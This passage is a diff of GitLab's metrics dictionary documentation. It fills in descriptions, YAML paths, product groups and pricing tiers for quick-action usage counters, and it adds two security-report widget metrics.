definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181712_i_quickactions_relate_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_remove_child_epic_monthly` -Missing description +Count of MAU using the `/remove_child_epic` quick action -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181718_i_quickactions_remove_child_epic_monthly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181718_i_quickactions_remove_child_epic_monthly.yml) -Group: `group::project management` +Group: `group::product planning` Status: `data_available` -Tiers: `free` +Tiers: `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_remove_child_epic_weekly` -Missing description +Count of WAU using the `/remove_child_epic` quick action [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181716_i_quickactions_remove_child_epic_weekly.yml) -Group: `group::project management` +Group: `group::product planning` Status: `data_available` -Tiers: +Tiers: `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_remove_due_date_monthly` -Missing description +Count of MAU using the `/remove_due_date` quick action [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181721_i_quickactions_remove_due_date_monthly.yml) @@ -12102,35 +12666,35 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_remove_due_date_weekly` -Missing description +Count of WAU using the `/remove_due_date` quick action -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181719_i_quickactions_remove_due_date_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181719_i_quickactions_remove_due_date_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_remove_epic_monthly` -Missing description +Count of MAU using the `/remove_epic` quick action -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181725_i_quickactions_remove_epic_monthly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181725_i_quickactions_remove_epic_monthly.yml) Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_remove_epic_weekly` -Missing description +Count of WAU using the `/remove_epic` quick action [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181723_i_quickactions_remove_epic_weekly.yml) @@ -12138,11 +12702,11 @@ Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_remove_estimate_monthly` -Missing description +Count of MAU using the `/remove_estimate` quick action [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181729_i_quickactions_remove_estimate_monthly.yml) @@ -12150,35 +12714,35 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_remove_estimate_weekly` -Missing description +Count of WAU using the `/remove_estimate` quick action -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181727_i_quickactions_remove_estimate_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181727_i_quickactions_remove_estimate_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_remove_iteration_monthly` -Missing description +Count of MAU using the `/remove_iteration` quick action -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181732_i_quickactions_remove_iteration_monthly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181732_i_quickactions_remove_iteration_monthly.yml) Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_remove_iteration_weekly` -Missing description +Count of WAU using the `/remove_iteration` quick action [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181731_i_quickactions_remove_iteration_weekly.yml) @@ -12186,11 +12750,11 @@ Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_remove_milestone_monthly` -Missing description +Count of MAU using the `/remove_milestone` quick action [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181736_i_quickactions_remove_milestone_monthly.yml) @@ -12198,47 +12762,47 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_remove_milestone_weekly` -Missing description +Count of WAU using the `/remove_milestone` quick action -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181734_i_quickactions_remove_milestone_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181734_i_quickactions_remove_milestone_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_remove_parent_epic_monthly` -Missing description +Count of MAU using the `/remove_parent_epic` quick action -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181740_i_quickactions_remove_parent_epic_monthly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181740_i_quickactions_remove_parent_epic_monthly.yml) -Group: `group::project management` +Group: `group::product planning` Status: `data_available` -Tiers: `free` +Tiers: `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_remove_parent_epic_weekly` -Missing description +Count of WAU using the `/remove_parent_epic` quick action [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181738_i_quickactions_remove_parent_epic_weekly.yml) -Group: `group::project management` +Group: `group::product planning` Status: `data_available` -Tiers: +Tiers: `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_remove_time_spent_monthly` -Missing description +Count of MAU using the `/remove_time_spent` quick action [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181744_i_quickactions_remove_time_spent_monthly.yml) @@ -12246,23 +12810,23 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_remove_time_spent_weekly` -Missing description +Count of WAU using the `/remove_time_spent` quick action -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181742_i_quickactions_remove_time_spent_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181742_i_quickactions_remove_time_spent_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_remove_zoom_monthly` -Missing description +Count of MAU using the `/remove_zoom` quick action [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181747_i_quickactions_remove_zoom_monthly.yml) @@ -12270,23 +12834,23 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_remove_zoom_weekly` -Missing description +Count of WAU using the `/remove_zoom` quick action -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181745_i_quickactions_remove_zoom_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181745_i_quickactions_remove_zoom_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_reopen_monthly` -Missing description +Count of MAU using the `/reopen` quick action [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181751_i_quickactions_reopen_monthly.yml) @@ -12294,23 +12858,23 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_reopen_weekly` -Missing description +Count of WAU using the `/reopen` quick action -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181749_i_quickactions_reopen_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181749_i_quickactions_reopen_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_shrug_monthly` -Missing description +Count of MAU using the `/shrug` quick action [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181755_i_quickactions_shrug_monthly.yml) @@ -12318,23 +12882,23 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_shrug_weekly` -Missing description +Count of WAU using the `/shrug` quick action -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181753_i_quickactions_shrug_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181753_i_quickactions_shrug_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_spend_add_monthly` -Missing description +Count of MAU using the `/spend` quick action to add time spent [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181802_i_quickactions_spend_add_monthly.yml) @@ -12342,23 +12906,23 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_spend_add_weekly` -Missing description +Count of WAU using the `/spend` quick action to add time spent -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181800_i_quickactions_spend_add_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181800_i_quickactions_spend_add_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_spend_subtract_monthly` -Missing description +Count of MAU using the `/spend` quick action to subtract time spent [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181758_i_quickactions_spend_subtract_monthly.yml) @@ -12366,47 +12930,47 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_spend_subtract_weekly` -Missing description +Count of WAU using the `/spend` quick action to subtract time spent -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181756_i_quickactions_spend_subtract_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181756_i_quickactions_spend_subtract_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_submit_review_monthly` -Missing description +Count of MAU using the `/submit_review` quick action on Merge Requests [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181806_i_quickactions_submit_review_monthly.yml) -Group: `group::project management` +Group: `group::code review` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_submit_review_weekly` -Missing description +Count of WAU using the `/submit_review` quick action on Merge Requests -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181804_i_quickactions_submit_review_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181804_i_quickactions_submit_review_weekly.yml) -Group: `group::project management` +Group: `group::code review` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_subscribe_monthly` -Missing description +Count of MAU using the `/subscribe` quick action [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181809_i_quickactions_subscribe_monthly.yml) @@ -12414,23 +12978,23 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_subscribe_weekly` -Missing description +Count of WAU using the `/subscribe` quick action -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181808_i_quickactions_subscribe_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181808_i_quickactions_subscribe_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_tableflip_monthly` -Missing description +Count of MAU using the `/tableflip` quick action [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181813_i_quickactions_tableflip_monthly.yml) @@ -12438,71 +13002,71 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_tableflip_weekly` -Missing description +Count of WAU using the `/tableflip` quick action -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181811_i_quickactions_tableflip_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181811_i_quickactions_tableflip_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_tag_monthly` -Missing description +Count of MAU using the `/tag` quick action [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181817_i_quickactions_tag_monthly.yml) -Group: `group::project management` +Group: `group::source code` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_tag_weekly` -Missing description +Count of WAU using the `/tag` quick action -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181815_i_quickactions_tag_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181815_i_quickactions_tag_weekly.yml) -Group: `group::project management` +Group: `group::source code` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_target_branch_monthly` -Missing description +Count of MAU using the `/target_branch` quick action on Merge Requests [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181821_i_quickactions_target_branch_monthly.yml) -Group: `group::project management` +Group: `group::source code` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_target_branch_weekly` -Missing description +Count of WAU using the `/target_branch` quick action on Merge Requests -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181819_i_quickactions_target_branch_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181819_i_quickactions_target_branch_weekly.yml) -Group: `group::project management` +Group: `group::source code` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_title_monthly` -Missing description +Count of MAU using the `/title` quick action [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181824_i_quickactions_title_monthly.yml) @@ -12510,23 +13074,23 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_title_weekly` -Missing description +Count of WAU using the `/title` quick action -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181822_i_quickactions_title_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181822_i_quickactions_title_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_todo_monthly` -Missing description +Count of MAU using the `/todo` quick action [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181828_i_quickactions_todo_monthly.yml) @@ -12534,95 +13098,95 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_todo_weekly` -Missing description +Count of WAU using the `/todo` quick action -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181826_i_quickactions_todo_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181826_i_quickactions_todo_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_unassign_all_monthly` -Missing description +Count of MAU using the `/unassign` quick action on Merge Requests [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181835_i_quickactions_unassign_all_monthly.yml) -Group: `group::project management` +Group: `group::source code` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_unassign_all_weekly` -Missing description +Count of WAU using the `/unassign` quick action on Merge Requests -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181833_i_quickactions_unassign_all_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181833_i_quickactions_unassign_all_weekly.yml) -Group: `group::project management` +Group: `group::source code` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_unassign_reviewer_monthly` -Missing description +Count of MAU using the `/unassign_reviewer` or `/remove_reviewer` quick action on Merge Requests [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181839_i_quickactions_unassign_reviewer_monthly.yml) -Group: `group::project management` +Group: `group::code review` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_unassign_reviewer_weekly` -Missing description +Count of WAU using the `/unassign_reviewer` or `/remove_reviewer` quick action on Merge Requests -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181837_i_quickactions_unassign_reviewer_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181837_i_quickactions_unassign_reviewer_weekly.yml) -Group: `group::project management` +Group: `group::code review` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_unassign_specific_monthly` -Missing description +Count of MAU using the `/unassign @user1` quick action on Merge Requests [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181832_i_quickactions_unassign_specific_monthly.yml) -Group: `group::project management` +Group: `group::source code` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_unassign_specific_weekly` -Missing description +Count of WAU using the `/unassign @user1` quick action on Merge Requests -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181830_i_quickactions_unassign_specific_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181830_i_quickactions_unassign_specific_weekly.yml) -Group: `group::project management` +Group: `group::source code` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_unlabel_all_monthly` -Missing description +Count of MAU using the `/unlabel` quick action to remove all labels [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181846_i_quickactions_unlabel_all_monthly.yml) @@ -12630,23 +13194,23 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_unlabel_all_weekly` -Missing description +Count of WAU using the `/unlabel` quick action to remove all labels -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181845_i_quickactions_unlabel_all_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181845_i_quickactions_unlabel_all_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_unlabel_specific_monthly` -Missing description +Count of MAU using the `/unlabel` or `/remove_label` quick action to remove one or more specific labels [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181843_i_quickactions_unlabel_specific_monthly.yml) @@ -12654,23 +13218,23 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_unlabel_specific_weekly` -Missing description +Count of WAU using the `/unlabel` or `/remove_label` quick action to remove one or more specific labels -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181841_i_quickactions_unlabel_specific_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181841_i_quickactions_unlabel_specific_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_unlock_monthly` -Missing description +Count of MAU using the `/unlock` quick action [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181850_i_quickactions_unlock_monthly.yml) @@ -12678,23 +13242,23 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_unlock_weekly` -Missing description +Count of WAU using the `/unlock` quick action -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181848_i_quickactions_unlock_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181848_i_quickactions_unlock_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_unsubscribe_monthly` -Missing description +Count of MAU using the `/unsubscribe` quick action [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181854_i_quickactions_unsubscribe_monthly.yml) @@ -12702,35 +13266,35 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_unsubscribe_weekly` -Missing description +Count of WAU using the `/unsubscribe` quick action -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181852_i_quickactions_unsubscribe_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181852_i_quickactions_unsubscribe_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_weight_monthly` -Missing description +Count of MAU using the `/weight` quick action -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181857_i_quickactions_weight_monthly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181857_i_quickactions_weight_monthly.yml) Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_weight_weekly` -Missing description +Count of WAU using the `/weight` quick action [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181856_i_quickactions_weight_weekly.yml) @@ -12738,35 +13302,35 @@ Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_wip_monthly` -Missing description +Count of MAU using the `/wip` quick action on Merge Requests [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181901_i_quickactions_wip_monthly.yml) -Group: `group::project management` +Group: `group::source code` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_wip_weekly` -Missing description +Count of WAU using the `/wip` quick action on Merge Requests -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181859_i_quickactions_wip_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181859_i_quickactions_wip_weekly.yml) -Group: `group::project management` +Group: `group::source code` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_zoom_monthly` -Missing description +Count of MAU using the `/zoom` quick action on Issues [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181905_i_quickactions_zoom_monthly.yml) @@ -12774,31 +13338,31 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.i_quickactions_zoom_weekly` -Missing description +Count of WAU using the `/zoom` quick action on Issues -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181903_i_quickactions_zoom_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181903_i_quickactions_zoom_weekly.yml) Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.quickactions_total_unique_counts_monthly` -Missing description +Count of MAU using one or more quick actions [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184803_quickactions_total_unique_counts_monthly.yml) -Group: `` +Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.quickactions.quickactions_total_unique_counts_weekly` @@ -12908,6 +13472,30 @@ Status: `data_available` Tiers: `free`, `premium`, `ultimate` +### `redis_hll_counters.secure.users_expanding_secure_security_report_monthly` + +Count of expanding the security report widget + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210409095855_users_expanding_secure_security_report_monthly.yml) + +Group: `group::static analysis` + +Status: `implemented` + +Tiers: `free`, `premium`, `ultimate` + +### `redis_hll_counters.secure.users_expanding_secure_security_report_weekly` + +Count of expanding the security report widget + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210409095855_users_expanding_secure_security_report_weekly.yml) + +Group: `group::static analysis` + +Status: `implemented` + +Tiers: `free`, `premium`, `ultimate` + ### `redis_hll_counters.snippets.i_snippets_show_monthly` Missing description @@ -13114,7 +13702,7 @@ Tiers: `premium`, `ultimate` ### `redis_hll_counters.testing.i_testing_full_code_quality_report_total_weekly` -Count of unique users per week|month who visit the full code quality report +Count of unique users per week who visit the full code quality report [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216182145_i_testing_full_code_quality_report_total_weekly.yml) @@ -13126,7 +13714,7 @@ Tiers: `premium`, `ultimate` ### `redis_hll_counters.testing.i_testing_group_code_coverage_project_click_total_monthly` -Count of unique users per week|month who click on a project link in the group code coverage table +Aggregated count of unique users who have clicked from group code coverage page to an individual project page each month. [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216182153_i_testing_group_code_coverage_project_click_total_monthly.yml) @@ -13138,19 +13726,19 @@ Tiers: `premium`, `ultimate` ### `redis_hll_counters.testing.i_testing_group_code_coverage_project_click_total_weekly` -Missing description +Aggregated count of unique users who have clicked from group code coverage page to an individual project page each week. [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184132_i_testing_group_code_coverage_project_click_total_weekly.yml) -Group: `` +Group: `group::testing` Status: `data_available` -Tiers: +Tiers: `premium`, `ultimate` 